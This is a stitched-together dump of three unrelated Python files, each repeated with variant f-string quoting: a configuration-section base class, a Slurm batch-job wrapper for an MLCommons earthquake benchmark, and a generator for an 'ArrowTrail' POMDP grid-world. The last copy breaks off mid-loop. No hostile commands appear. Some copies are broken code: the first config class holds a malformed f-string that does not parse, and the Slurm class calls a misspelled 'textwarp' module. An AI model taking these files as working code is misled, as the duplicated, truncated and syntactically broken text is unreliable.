from abc import ABCMeta, abstractmethod from common.config_parser.config_error import ConfigError class ConfigSection(metaclass=ABCMeta): """An abstract base class representing a base section of the configuration file. Any specific section class must derive from it. """ def __init__(self, config, section_name, shadow_config=None, custom_args=None): """Basic initialization.""" self._config = config self._section_name = section_name self._shadow_config = shadow_config self._custom_args = custom_args self._mandatory_fields = list() self._comma_separated_list_fields = list() self._space_separated_list_fields = list() self._str_fields = list() self._bool_fields = list() self._int_fields = list() self._untuned_settings = dict() self.unknown_settings = dict() self._configure_section() self._load_from_config() @abstractmethod def _configure_section(self): """Divide settings according to their types. Set mandatory, comma separated list, space separated list, str, bool, int, list of nodes fields if it is necessary. """ pass def _load_from_config(self): """Load section from configuration file.""" self._load_settings_from_config() self._load_unknown_settings_from_config() self._perform_custom_tunings() self._check_mandatory_fields_present() self._check_settings() def _load_settings_from_config(self): """Load settings from the configuration file.""" for int_setting in self._int_fields: if self._config.has_option(self._section_name, int_setting): self._untuned_settings[int_setting] = self._config.getint( self._section_name, int_setting) if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, int_setting): self._untuned_settings[ int_setting] = self._shadow_config.getint( self._section_name, int_setting) for bool_setting in self._bool_fields: if self._config.has_option(self._section_name, bool_setting): self._untuned_settings[ bool_setting] = self._config.getboolean( self._section_name, bool_setting) if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, bool_setting): self._untuned_settings[ bool_setting] = self._shadow_config.getboolean( self._section_name, bool_setting) for str_setting in self._str_fields: if self._config.has_option(self._section_name, str_setting): self._untuned_settings[str_setting] = self._config.get( self._section_name, str_setting) if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, str_setting): self._untuned_settings[ str_setting] = self._shadow_config.get( self._section_name, str_setting) for comma_separated_list_setting in self._comma_separated_list_fields: if self._config.has_option( self._section_name, comma_separated_list_setting): self._untuned_settings[ comma_separated_list_setting] = self.__split_list_settings( self._config.get( self._section_name, comma_separated_list_setting), ',') if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, comma_separated_list_setting): self._untuned_settings[ comma_separated_list_setting] = self.__split_list_settings( self._shadow_config.get( self._section_name, comma_separated_list_setting), ',') for space_separated_list_setting in self._space_separated_list_fields: if self._config.has_option( self._section_name, space_separated_list_setting): self._untuned_settings[ space_separated_list_setting] = self.__split_list_settings( self._config.get( self._section_name, space_separated_list_setting), ' ') if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, space_separated_list_setting): self._untuned_settings[ space_separated_list_setting] = self.__split_list_settings( self._shadow_config.get( self._section_name, space_separated_list_setting), ' ') def _load_unknown_settings_from_config(self): """Load unknown settings from the configuration file.""" known_settings = \ self._int_fields + self._str_fields + \ self._bool_fields + self._comma_separated_list_fields + \ self._space_separated_list_fields self.unknown_settings = { setting: self._config.get(self._section_name, setting) for setting in self._config.options(self._section_name) if setting not in known_settings} if self._shadow_config is not None: if self._shadow_config.has_section(self._section_name): self.unknown_settings.update( {setting: self._shadow_config.get( self._section_name, setting) for setting in self._shadow_config.options( self._section_name) if setting not in known_settings}) @abstractmethod def _perform_custom_tunings(self): """Perform custom tunings for obtained settings.""" pass def _tune_custom_args(self): if not isinstance(self._custom_args, dict): raise ConfigError("Custom CLI arguments are not in a " "dictionary.") for key, value in self._custom_args.items(): if value is not None and key in self.__dict__: setattr(self, key, value) def _check_mandatory_fields_present(self): """Check if all mandatory fields are present in the configuration section after all tunings.""" self.verify_fields_presence(self._mandatory_fields) @abstractmethod def _check_settings(self): """Check if obtained settings meet all necessary conditions. """ pass def verify_fields_presence(self, fields, message=None): """Check if all provided fields are present in the configuration section. Args: fields (list): A list of attributes to check. message (str): Message to display in case of an error. """ for field in fields: if getattr(self, field) in [None, '']: error_msg = f"In section '{self._section_name}' of the configuration " \ f"file setting '{field}" is required {"." if not message else f" For {message}'}" raise ConfigError(error_msg) @staticmethod def check_if_section_exists(config, section_template, section): """Check if section exists. Examples: Check if section exists: api_section = 'api_{}' ConfigSection.check_if_section_exists(config_obj, node_section, None) """ if not config.has_section(section_template.format(section)): raise ConfigError(f"No section '{section_template.format(section)}' " f"found in the configuration file.") @staticmethod def __split_list_settings(value, separator): """Split value by given separator.""" stripped = (a.strip() for a in value.split(separator)) return list(a for a in stripped if len(a))
from abc import ABCMeta, abstractmethod from common.config_parser.config_error import ConfigError class ConfigSection(metaclass=ABCMeta): """An abstract base class representing a base section of the configuration file. Any specific section class must derive from it. """ def __init__(self, config, section_name, shadow_config=None, custom_args=None): """Basic initialization.""" self._config = config self._section_name = section_name self._shadow_config = shadow_config self._custom_args = custom_args self._mandatory_fields = list() self._comma_separated_list_fields = list() self._space_separated_list_fields = list() self._str_fields = list() self._bool_fields = list() self._int_fields = list() self._untuned_settings = dict() self.unknown_settings = dict() self._configure_section() self._load_from_config() @abstractmethod def _configure_section(self): """Divide settings according to their types. Set mandatory, comma separated list, space separated list, str, bool, int, list of nodes fields if it is necessary. """ pass def _load_from_config(self): """Load section from configuration file.""" self._load_settings_from_config() self._load_unknown_settings_from_config() self._perform_custom_tunings() self._check_mandatory_fields_present() self._check_settings() def _load_settings_from_config(self): """Load settings from the configuration file.""" for int_setting in self._int_fields: if self._config.has_option(self._section_name, int_setting): self._untuned_settings[int_setting] = self._config.getint( self._section_name, int_setting) if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, int_setting): self._untuned_settings[ int_setting] = self._shadow_config.getint( self._section_name, int_setting) for bool_setting in self._bool_fields: if self._config.has_option(self._section_name, bool_setting): self._untuned_settings[ bool_setting] = self._config.getboolean( self._section_name, bool_setting) if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, bool_setting): self._untuned_settings[ bool_setting] = self._shadow_config.getboolean( self._section_name, bool_setting) for str_setting in self._str_fields: if self._config.has_option(self._section_name, str_setting): self._untuned_settings[str_setting] = self._config.get( self._section_name, str_setting) if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, str_setting): self._untuned_settings[ str_setting] = self._shadow_config.get( self._section_name, str_setting) for comma_separated_list_setting in self._comma_separated_list_fields: if self._config.has_option( self._section_name, comma_separated_list_setting): self._untuned_settings[ comma_separated_list_setting] = self.__split_list_settings( self._config.get( self._section_name, comma_separated_list_setting), ',') if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, comma_separated_list_setting): self._untuned_settings[ comma_separated_list_setting] = self.__split_list_settings( self._shadow_config.get( self._section_name, comma_separated_list_setting), ',') for space_separated_list_setting in self._space_separated_list_fields: if self._config.has_option( self._section_name, space_separated_list_setting): self._untuned_settings[ space_separated_list_setting] = self.__split_list_settings( self._config.get( self._section_name, space_separated_list_setting), ' ') if self._shadow_config is not None: if self._shadow_config.has_option( self._section_name, space_separated_list_setting): self._untuned_settings[ space_separated_list_setting] = self.__split_list_settings( self._shadow_config.get( self._section_name, space_separated_list_setting), ' ') def _load_unknown_settings_from_config(self): """Load unknown settings from the configuration file.""" known_settings = \ self._int_fields + self._str_fields + \ self._bool_fields + self._comma_separated_list_fields + \ self._space_separated_list_fields self.unknown_settings = { setting: self._config.get(self._section_name, setting) for setting in self._config.options(self._section_name) if setting not in known_settings} if self._shadow_config is not None: if self._shadow_config.has_section(self._section_name): self.unknown_settings.update( {setting: self._shadow_config.get( self._section_name, setting) for setting in self._shadow_config.options( self._section_name) if setting not in known_settings}) @abstractmethod def _perform_custom_tunings(self): """Perform custom tunings for obtained settings.""" pass def _tune_custom_args(self): if not isinstance(self._custom_args, dict): raise ConfigError("Custom CLI arguments are not in a " "dictionary.") for key, value in self._custom_args.items(): if value is not None and key in self.__dict__: setattr(self, key, value) def _check_mandatory_fields_present(self): """Check if all mandatory fields are present in the configuration section after all tunings.""" self.verify_fields_presence(self._mandatory_fields) @abstractmethod def _check_settings(self): """Check if obtained settings meet all necessary conditions. """ pass def verify_fields_presence(self, fields, message=None): """Check if all provided fields are present in the configuration section. Args: fields (list): A list of attributes to check. message (str): Message to display in case of an error. """ for field in fields: if getattr(self, field) in [None, '']: error_msg = f"In section '{self._section_name}' of the configuration " \ f"file setting '{field}' is required {'.' if not message else f' For {message}'}" raise ConfigError(error_msg) @staticmethod def check_if_section_exists(config, section_template, section): """Check if section exists. Examples: Check if section exists: api_section = 'api_{}' ConfigSection.check_if_section_exists(config_obj, node_section, None) """ if not config.has_section(section_template.format(section)): raise ConfigError(f"No section '{section_template.format(section)}' " f"found in the configuration file.") @staticmethod def __split_list_settings(value, separator): """Split value by given separator.""" stripped = (a.strip() for a in value.split(separator)) return list(a for a in stripped if len(a))
import os import sys import yaml import textwrap import subprocess from cloudmesh.common.util import readfile, writefile, path_expand from cloudmesh.common.util import yn_choice from cloudmesh.common.Shell import Shell class SBatch: def __init__(self, slurm_config, account='ds6011-sp22-002', params=None, gpu='k80', dryrun: bool = False, **kwargs): self.account = account self.slurm_config = slurm_config with open(slurm_config, 'r') as file: self.yaml = yaml.safe_load(file) self.content = readfile(path_expand(self.yaml['slurm_template'])) self.params = params self.gpu = gpu self.dryrun = dryrun self.env = os.environ.copy() @property def now(self): # there is a better way ;) return Shell.run("date").strip().replace(" ", "-") def __str__(self): return self.content def configure_sbatch(self,host): """ Set the sbatch environmental variables based on yaml values Append the variables to the users environment """ defaults = self.yaml['sbatch_setup'][f'{host}-{self.gpu}'] user = self.env['USER'] sbatch_vars = { 'SBATCH_GRES': f'gpu:{defaults['card_name']}:{defaults['num_gpus']}', 'SBATCH_JOB_NAME': f'mlcommons-science-earthquake-{user}', 'SBATCH_CPUS_ON_NODE': str(defaults['num_cpus']), 'SBATCH_TIMELIMIT': defaults['time'], } for var, value in sbatch_vars.items(): self.env[str(var)] = value return self def get_parameters(self): #TODO finish when we decide how to impliment parameters # already have most of the logic established for passing in # the parameters to the class return -1 def update(self, *args): #TODO will update parameters # replace with the ergv and with the os.environ variables. #self.content = self.content.format(**argv, **os.environ, date=self.now) return -1 def save(self, filename): """ Writes the custom slurm script to a file for submission If the file already exists, the user will be prompted to override """ if os.path.exists(path_expand(filename)): if yn_choice(f"{filename} exists, would you like to overwrite?"): writefile(filename, self.content) else: writefile(filename, self.content) def run(self, filename='submit-job.slurm'): """ Execute a custom slurm script to the cluster """ cwd = os.getcwd() file_path = os.path.join(cwd, filename) self.configure_sbatch(host='rivanna') if self.params: self.get_parameters() self.update(self.env) self.save(file_path) if not self.dryrun: stdout, stderr = subprocess.Popen(['sbatch', file_path], env=self.env, encoding='utf-8', stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() print(stdout) print(f"{stderr = }", file=sys.stderr) Shell.run(f'rm {file_path}') def template(self): # # we could also replace other things such as BASE ... # script = textwarp.dedent( """ #!/usr/bin/env bash #SBATCH --job-name=mlcommons-science-earthquake-{user}-{date}-a100 #SBATCH --output=mlcommons-science-earthquake-{user}-{date}-a100.out #SBATCH --error=mlcommons-science-earthquake-{user}-{date}-a100.err #SBATCH --partition=gpu #SBATCH --cpus-per-task=6 #SBATCH --mem=32G #SBATCH --time=06:00:00 #SBATCH --gres=gpu:a100:1 #SBATCH --account=ds6011-sp22-002 ### TODO -figure out how to parameterize. #rSBATCH --job-name=mlcommons-science-earthquake-${GPU}-${PYTHON} #rSBATCH --output=mlcommons-science-earthquake-${GPU}-${PYTHON}.out #rSBATCH --error=mlcommons-science-earthquake-${GPU}-${PYTHON}.err #rSBATCH --partition=gpu #rSBATCH -c 1 #rSBATCH --time=03:00:00 #rSBATCH --gres=gpu:a100:1 #rSBATCH --account=ds6011-sp22-002 # one proposal. lets do what robert does ... # # git clone .... # git clone .... # ls ./mlcommons # ls ./mlcommons-data-earthquake/data.tar.xz # tar xvf mlcommons-data-earthquake/data.tar.xz # ls ./data/EarthquakeDec2020 # GPU_TYPE="a100" PYTHON_MAJ="3.10" PYTHON_MIN="2" RESOURCE_DIR="/project/ds6011-sp22-002" BASE=/scratch/$USER/${{GPU_TYPE}} HOME=${{BASE}} REV="mar2022" VARIANT="-gregor" echo "Working in <$(pwd)>" echo "Base directory in <${{BASE}}>" echo "Overridden home in <${{HOME}}>" echo "Revision: <${{REV}}>" echo "Variant: <${{VARIANT}}>" echo "Python: <${{PYTHON_MAJ}.${{PYTHON_MIN}}>" echo "GPU: <${{GPU_TYPE}}>" module load cuda cudnn nvidia-smi mkdir -p ${{BASE}} cd ${{BASE}} if [ ! -e "${{BASE}}/.local/python/${PYTHON_MAJ}.${PYTHON_MIN}" ] ; then tar Jxvf "${RESOURCE_DIR}/python-${PYTHON_MAJ}.${PYTHON_MIN}.tar.xz" -C "${{BASE}}" fi export LD_LIBRARY_PATH=${{BASE}}/.local/ssl/lib:$LD_LIBRARY_PATH echo "Python setup" if [ ! -e "${{BASE}}/ENV3/bin/activate" ]; then ${{BASE}}/.local/python/${PYTHON_MAJ}.${PYTHON_MIN}/bin/python3.10 -m venv ${{BASE}}/ENV3 fi echo "ENV3 Setup" source ${{BASE}}/ENV3/bin/activate python -m pip install -U pip wheel papermill if [ ! -e "${{BASE}}/mlcommons-data-earthquake" ]; then git clone https://github.com/laszewsk/mlcommons-data-earthquake.git "${{BASE}}/mlcommons-data-earthquake" else (cd ${{BASE}}/mlcommons-data-earthquake ; \ git fetch origin ; \ git checkout main ; \ git reset --hard origin/main ; \ git clean -d --force) fi if [ ! -e "${{BASE}}/mlcommons" ]; then git clone https://github.com/laszewsk/mlcommons.git "${{BASE}}/mlcommons" else (cd ${{BASE}}/mlcommons ; \ git fetch origin ; \ git checkout main ; \ git reset --hard origin/main ; \ git clean -d --force) fi if [ ! -e ${{BASE}}/mlcommons/benchmarks/earthquake/data/EarthquakeDec2020 ]; then tar Jxvf ${{BASE}}/mlcommons-data-earthquake/data.tar.xz \ -C ${{BASE}}/mlcommons/benchmarks/earthquake mkdir -p ${{BASE}}/mlcommons/benchmarks/earthquake/data/EarthquakeDec2020/outputs fi (cd ${{BASE}}/mlcommons/benchmarks/earthquake/${REV} && \ python -m pip install -r requirements.txt) (cd ${{BASE}}/mlcommons/benchmarks/earthquake/${REV} && \ cp "FFFFWNPFEARTHQ_newTFTv29${VARIANT}.ipynb" FFFFWNPFEARTHQ_newTFTv29-$USER.ipynb) (cd mlcommons/benchmarks/earthquake/mar2022 && \ papermill FFFFWNPFEARTHQ_newTFTv29-$USER.ipynb FFFFWNPFEARTHQ_newTFTv29-$USER-$GPU_TYPE.ipynb --no-progress-bar --log-output --log-level INFO) """ )
import os import sys import yaml import textwrap import subprocess from cloudmesh.common.util import readfile, writefile, path_expand from cloudmesh.common.util import yn_choice from cloudmesh.common.Shell import Shell class SBatch: def __init__(self, slurm_config, account='ds6011-sp22-002', params=None, gpu='k80', dryrun: bool = False, **kwargs): self.account = account self.slurm_config = slurm_config with open(slurm_config, 'r') as file: self.yaml = yaml.safe_load(file) self.content = readfile(path_expand(self.yaml['slurm_template'])) self.params = params self.gpu = gpu self.dryrun = dryrun self.env = os.environ.copy() @property def now(self): # there is a better way ;) return Shell.run("date").strip().replace(" ", "-") def __str__(self): return self.content def configure_sbatch(self,host): """ Set the sbatch environmental variables based on yaml values Append the variables to the users environment """ defaults = self.yaml['sbatch_setup'][f'{host}-{self.gpu}'] user = self.env['USER'] sbatch_vars = { 'SBATCH_GRES': f'gpu:{defaults["card_name"]}:{defaults["num_gpus"]}', 'SBATCH_JOB_NAME': f'mlcommons-science-earthquake-{user}', 'SBATCH_CPUS_ON_NODE': str(defaults['num_cpus']), 'SBATCH_TIMELIMIT': defaults['time'], } for var, value in sbatch_vars.items(): self.env[str(var)] = value return self def get_parameters(self): #TODO finish when we decide how to impliment parameters # already have most of the logic established for passing in # the parameters to the class return -1 def update(self, *args): #TODO will update parameters # replace with the ergv and with the os.environ variables. #self.content = self.content.format(**argv, **os.environ, date=self.now) return -1 def save(self, filename): """ Writes the custom slurm script to a file for submission If the file already exists, the user will be prompted to override """ if os.path.exists(path_expand(filename)): if yn_choice(f"{filename} exists, would you like to overwrite?"): writefile(filename, self.content) else: writefile(filename, self.content) def run(self, filename='submit-job.slurm'): """ Execute a custom slurm script to the cluster """ cwd = os.getcwd() file_path = os.path.join(cwd, filename) self.configure_sbatch(host='rivanna') if self.params: self.get_parameters() self.update(self.env) self.save(file_path) if not self.dryrun: stdout, stderr = subprocess.Popen(['sbatch', file_path], env=self.env, encoding='utf-8', stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() print(stdout) print(f"{stderr = }", file=sys.stderr) Shell.run(f'rm {file_path}') def template(self): # # we could also replace other things such as BASE ... # script = textwarp.dedent( """ #!/usr/bin/env bash #SBATCH --job-name=mlcommons-science-earthquake-{user}-{date}-a100 #SBATCH --output=mlcommons-science-earthquake-{user}-{date}-a100.out #SBATCH --error=mlcommons-science-earthquake-{user}-{date}-a100.err #SBATCH --partition=gpu #SBATCH --cpus-per-task=6 #SBATCH --mem=32G #SBATCH --time=06:00:00 #SBATCH --gres=gpu:a100:1 #SBATCH --account=ds6011-sp22-002 ### TODO -figure out how to parameterize. #rSBATCH --job-name=mlcommons-science-earthquake-${GPU}-${PYTHON} #rSBATCH --output=mlcommons-science-earthquake-${GPU}-${PYTHON}.out #rSBATCH --error=mlcommons-science-earthquake-${GPU}-${PYTHON}.err #rSBATCH --partition=gpu #rSBATCH -c 1 #rSBATCH --time=03:00:00 #rSBATCH --gres=gpu:a100:1 #rSBATCH --account=ds6011-sp22-002 # one proposal. lets do what robert does ... # # git clone .... # git clone .... # ls ./mlcommons # ls ./mlcommons-data-earthquake/data.tar.xz # tar xvf mlcommons-data-earthquake/data.tar.xz # ls ./data/EarthquakeDec2020 # GPU_TYPE="a100" PYTHON_MAJ="3.10" PYTHON_MIN="2" RESOURCE_DIR="/project/ds6011-sp22-002" BASE=/scratch/$USER/${{GPU_TYPE}} HOME=${{BASE}} REV="mar2022" VARIANT="-gregor" echo "Working in <$(pwd)>" echo "Base directory in <${{BASE}}>" echo "Overridden home in <${{HOME}}>" echo "Revision: <${{REV}}>" echo "Variant: <${{VARIANT}}>" echo "Python: <${{PYTHON_MAJ}.${{PYTHON_MIN}}>" echo "GPU: <${{GPU_TYPE}}>" module load cuda cudnn nvidia-smi mkdir -p ${{BASE}} cd ${{BASE}} if [ ! -e "${{BASE}}/.local/python/${PYTHON_MAJ}.${PYTHON_MIN}" ] ; then tar Jxvf "${RESOURCE_DIR}/python-${PYTHON_MAJ}.${PYTHON_MIN}.tar.xz" -C "${{BASE}}" fi export LD_LIBRARY_PATH=${{BASE}}/.local/ssl/lib:$LD_LIBRARY_PATH echo "Python setup" if [ ! -e "${{BASE}}/ENV3/bin/activate" ]; then ${{BASE}}/.local/python/${PYTHON_MAJ}.${PYTHON_MIN}/bin/python3.10 -m venv ${{BASE}}/ENV3 fi echo "ENV3 Setup" source ${{BASE}}/ENV3/bin/activate python -m pip install -U pip wheel papermill if [ ! -e "${{BASE}}/mlcommons-data-earthquake" ]; then git clone https://github.com/laszewsk/mlcommons-data-earthquake.git "${{BASE}}/mlcommons-data-earthquake" else (cd ${{BASE}}/mlcommons-data-earthquake ; \ git fetch origin ; \ git checkout main ; \ git reset --hard origin/main ; \ git clean -d --force) fi if [ ! -e "${{BASE}}/mlcommons" ]; then git clone https://github.com/laszewsk/mlcommons.git "${{BASE}}/mlcommons" else (cd ${{BASE}}/mlcommons ; \ git fetch origin ; \ git checkout main ; \ git reset --hard origin/main ; \ git clean -d --force) fi if [ ! -e ${{BASE}}/mlcommons/benchmarks/earthquake/data/EarthquakeDec2020 ]; then tar Jxvf ${{BASE}}/mlcommons-data-earthquake/data.tar.xz \ -C ${{BASE}}/mlcommons/benchmarks/earthquake mkdir -p ${{BASE}}/mlcommons/benchmarks/earthquake/data/EarthquakeDec2020/outputs fi (cd ${{BASE}}/mlcommons/benchmarks/earthquake/${REV} && \ python -m pip install -r requirements.txt) (cd ${{BASE}}/mlcommons/benchmarks/earthquake/${REV} && \ cp "FFFFWNPFEARTHQ_newTFTv29${VARIANT}.ipynb" FFFFWNPFEARTHQ_newTFTv29-$USER.ipynb) (cd mlcommons/benchmarks/earthquake/mar2022 && \ papermill FFFFWNPFEARTHQ_newTFTv29-$USER.ipynb FFFFWNPFEARTHQ_newTFTv29-$USER-$GPU_TYPE.ipynb --no-progress-bar --log-output --log-level INFO) """ )
#!/usr/bin/env python import argparse import copy import indextools # arrows: ↑ ↓ ← → grid_base_arrows = """ →→→↓→→→→→↓ ↑↓←←↑↓←←←↓ ↑→→↓↑→↓→↑↓ ↑↓←←↑↓←↑←← ↑→→→↑→→→→↓ ↑←←←←↓←←←↓ →↓→→↑↓→↓↑↓ ↑↓↑←←↓↑↓↑↓ ↑→→→↑↓↑→↑↓ ↑←←←←←↑←←← """ # converts arrows to UDLR text grid_base = ( grid_base_arrows.translate(str.maketrans('↑↓←→', 'UDLR')) .strip() .splitlines() ) def reflect_h(grid): table = str.maketrans('LR', 'RL') return [row[::-1].translate(table) for row in grid] def reflect_v(grid): table = str.maketrans('UD', 'DU') return [row.translate(table) for row in grid[::-1]] def reverse(grid): grid = [list(row) for row in grid] nr, nc = len(grid), len(grid[0]) rgrid = [['.' for _ in range(nc)] for _ in range(nr)] for i in range(nr): for j in range(nc): if grid[i][j] == 'U': rgrid[i - 1][j] = 'D' elif grid[i][j] == 'D': rgrid[i + 1][j] = 'U' elif grid[i][j] == 'L': rgrid[i][j - 1] = 'R' elif grid[i][j] == 'R': rgrid[i][j + 1] = 'L' else: raise ValueError() return [''.join(row) for row in rgrid] def get_grid(s): grid = copy.deepcopy(grid_base) if s.reflect_h.value: grid = reflect_h(grid) if s.reflect_v.value: grid = reflect_v(grid) if s.reverse.value: grid = reverse(grid) return grid def get_tile(s): grid = get_grid(s) return grid[s.pos.y.value][s.pos.x.value] def traverse(grid): nr, nc = len(grid), len(grid[0]) visited = [[False for _ in range(nc)] for _ in range(nr)] i, j = 0, 0 for _ in range(nr * nc): visited[i][j] = True if grid[i][j] == 'U': i -= 1 elif grid[i][j] == 'D': i += 1 elif grid[i][j] == 'L': j -= 1 elif grid[i][j] == 'R': j += 1 else: raise ValueError() return (i, j) == (0, 0) and all(all(row) for row in grid) assert reflect_h(grid_base) != grid_base assert reflect_v(grid_base) != grid_base assert reverse(grid_base) != grid_base assert reflect_h(reflect_h(grid_base)) == grid_base assert reflect_v(reflect_v(grid_base)) == grid_base assert reflect_v(reflect_h(grid_base)) == reflect_h(reflect_v(grid_base)) assert reverse(reverse(grid_base)) == grid_base assert traverse(grid_base) assert traverse(reflect_h(grid_base)) assert traverse(reflect_v(grid_base)) assert traverse(reverse(grid_base)) def pfmt(p): return f'{p.x}_{p.y}' def sfmt(s): h = int(s.reflect_h.value) v = int(s.reflect_v.value) r = int(s.reverse.value) return f'h_{h}_v_{v}_r_{r}_pos_{s.pos.y}_{s.pos.x}' def afmt(a): return a.value def ofmt(o): return o.value def main(): parser = argparse.ArgumentParser(description='ArrowMaze') parser.add_argument('--gamma', type=float, default=0.99) config = parser.parse_args() pos_space = indextools.JointNamedSpace( x=indextools.RangeSpace(10), y=indextools.RangeSpace(10) ) state_space = indextools.JointNamedSpace( reflect_h=indextools.BoolSpace(), reflect_v=indextools.BoolSpace(), reverse=indextools.BoolSpace(), pos=pos_space, ) actions = 'up', 'down', 'left', 'right' action_space = indextools.DomainSpace(actions) observations = 'up', 'down', 'left', 'right' obs_space = indextools.DomainSpace(observations) print( """# ArrowTrail Environment; # The agent navigates a 10x10 grid-world. Each tile is associated with an # arrow indicating one of the four cardinal directions; the arrows form a path # which covers all the tiles in a single loop, and the task is to follow the # trail of arrows. The agent does not observe its own position, only the # direction indicated by the current tile. # This environment was designed to have an easy control task and a difficult # prediction task. # State-space (800) : position of the agent (10x10 grid) times 8 possible paths, # obtained from a base path through horizontal reflection, vertical reflection, # and/or path reversal. # Action-space (4) : directional movements {`up`, `down`, `left`, `right`}. # Observation-space (4) : direction of the tile arrow {`up`, `down`, `left`, # `right`}.""" ) print() print(f'# This specific file was generated with parameters:') print(f'# {config}') print() print(f'discount: {config.gamma}') print('values: reward') print(f'states: {' '.join(sfmt(s) for s in state_space.elems)}') print(f'actions: {' '.join(afmt(a) for a in action_space.elems)}') print(f'observations: {' '.join(ofmt(o) for o in obs_space.elems)}') # # START # print() # print(f'start include: uniform') # TRANSITIONS print() for s in state_space.elems: for a in action_space.elems: s1 = copy.copy(s) if a.value == 'up': s1.pos.y.value = max(s1.pos.y.value - 1, 0) elif a.value == 'down': s1.pos.y.value = min(s1.pos.y.value + 1, 9) elif a.value == 'right': s1.pos.x.value = min(s1.pos.x.value + 1, 9) elif a.value == 'left': s1.pos.x.value = max(s1.pos.x.value - 1, 0) print(f'T: {afmt(a)}: {sfmt(s)}: {sfmt(s1)} 1.0') # OBSERVATIONS translation = {'U': 'up', 'D': 'down', 'L': 'left', 'R': 'right'} print() for s1 in state_space.elems: tile = get_tile(s1) direction = translation[tile] o = obs_space.elem(value=direction) print(f'O: *: {sfmt(s1)}: {ofmt(o)} 1.0') # REWARDS print() print('R: *: *: *: * -1.0') for s in state_space.elems: tile = get_tile(s) direction = translation[tile] a = action_space.elem(value=direction) print(f'R: {afmt(a)}: {sfmt(s)}: *: * 0.0') if __name__ == '__main__': main()
#!/usr/bin/env python import argparse import copy import indextools # arrows: ↑ ↓ ← → grid_base_arrows = """ →→→↓→→→→→↓ ↑↓←←↑↓←←←↓ ↑→→↓↑→↓→↑↓ ↑↓←←↑↓←↑←← ↑→→→↑→→→→↓ ↑←←←←↓←←←↓ →↓→→↑↓→↓↑↓ ↑↓↑←←↓↑↓↑↓ ↑→→→↑↓↑→↑↓ ↑←←←←←↑←←← """ # converts arrows to UDLR text grid_base = ( grid_base_arrows.translate(str.maketrans('↑↓←→', 'UDLR')) .strip() .splitlines() ) def reflect_h(grid): table = str.maketrans('LR', 'RL') return [row[::-1].translate(table) for row in grid] def reflect_v(grid): table = str.maketrans('UD', 'DU') return [row.translate(table) for row in grid[::-1]] def reverse(grid): grid = [list(row) for row in grid] nr, nc = len(grid), len(grid[0]) rgrid = [['.' for _ in range(nc)] for _ in range(nr)] for i in range(nr): for j in range(nc): if grid[i][j] == 'U': rgrid[i - 1][j] = 'D' elif grid[i][j] == 'D': rgrid[i + 1][j] = 'U' elif grid[i][j] == 'L': rgrid[i][j - 1] = 'R' elif grid[i][j] == 'R': rgrid[i][j + 1] = 'L' else: raise ValueError() return [''.join(row) for row in rgrid] def get_grid(s): grid = copy.deepcopy(grid_base) if s.reflect_h.value: grid = reflect_h(grid) if s.reflect_v.value: grid = reflect_v(grid) if s.reverse.value: grid = reverse(grid) return grid def get_tile(s): grid = get_grid(s) return grid[s.pos.y.value][s.pos.x.value] def traverse(grid): nr, nc = len(grid), len(grid[0]) visited = [[False for _ in range(nc)] for _ in range(nr)] i, j = 0, 0 for _ in range(nr * nc): visited[i][j] = True if grid[i][j] == 'U': i -= 1 elif grid[i][j] == 'D': i += 1 elif grid[i][j] == 'L': j -= 1 elif grid[i][j] == 'R': j += 1 else: raise ValueError() return (i, j) == (0, 0) and all(all(row) for row in grid) assert reflect_h(grid_base) != grid_base assert reflect_v(grid_base) != grid_base assert reverse(grid_base) != grid_base assert reflect_h(reflect_h(grid_base)) == grid_base assert reflect_v(reflect_v(grid_base)) == grid_base assert reflect_v(reflect_h(grid_base)) == reflect_h(reflect_v(grid_base)) assert reverse(reverse(grid_base)) == grid_base assert traverse(grid_base) assert traverse(reflect_h(grid_base)) assert traverse(reflect_v(grid_base)) assert traverse(reverse(grid_base)) def pfmt(p): return f'{p.x}_{p.y}' def sfmt(s): h = int(s.reflect_h.value) v = int(s.reflect_v.value) r = int(s.reverse.value) return f'h_{h}_v_{v}_r_{r}_pos_{s.pos.y}_{s.pos.x}' def afmt(a): return a.value def ofmt(o): return o.value def main(): parser = argparse.ArgumentParser(description='ArrowMaze') parser.add_argument('--gamma', type=float, default=0.99) config = parser.parse_args() pos_space = indextools.JointNamedSpace( x=indextools.RangeSpace(10), y=indextools.RangeSpace(10) ) state_space = indextools.JointNamedSpace( reflect_h=indextools.BoolSpace(), reflect_v=indextools.BoolSpace(), reverse=indextools.BoolSpace(), pos=pos_space, ) actions = 'up', 'down', 'left', 'right' action_space = indextools.DomainSpace(actions) observations = 'up', 'down', 'left', 'right' obs_space = indextools.DomainSpace(observations) print( """# ArrowTrail Environment; # The agent navigates a 10x10 grid-world. Each tile is associated with an # arrow indicating one of the four cardinal directions; the arrows form a path # which covers all the tiles in a single loop, and the task is to follow the # trail of arrows. The agent does not observe its own position, only the # direction indicated by the current tile. # This environment was designed to have an easy control task and a difficult # prediction task. # State-space (800) : position of the agent (10x10 grid) times 8 possible paths, # obtained from a base path through horizontal reflection, vertical reflection, # and/or path reversal. # Action-space (4) : directional movements {`up`, `down`, `left`, `right`}. # Observation-space (4) : direction of the tile arrow {`up`, `down`, `left`, # `right`}.""" ) print() print(f'# This specific file was generated with parameters:') print(f'# {config}') print() print(f'discount: {config.gamma}') print('values: reward') print(f'states: {" ".join(sfmt(s) for s in state_space.elems)}') print(f'actions: {" ".join(afmt(a) for a in action_space.elems)}') print(f'observations: {" ".join(ofmt(o) for o in obs_space.elems)}') # # START # print() # print(f'start include: uniform') # TRANSITIONS print() for s in state_space.elems: for a in action_space.elems: s1 = copy.copy(s) if a.value == 'up': s1.pos.y.value = max(s1.pos.y.value - 1, 0) elif a.value == 'down': s1.pos.y.value = min(s1.pos.y.value + 1, 9) elif a.value == 'right': s1.pos.x.value = min(s1.pos.x.value + 1, 9) elif a.value == 'left': s1.pos.x.value = max(s1.pos.x.value - 1, 0) print(f'T: {afmt(a)}: {sfmt(s)}: {sfmt(s1)} 1.0') # OBSERVATIONS translation = {'U': 'up', 'D': 'down', 'L': 'left', 'R': 'right'} print() for s1 in state_space.elems: tile = get_tile(s1) direction = translation[tile] 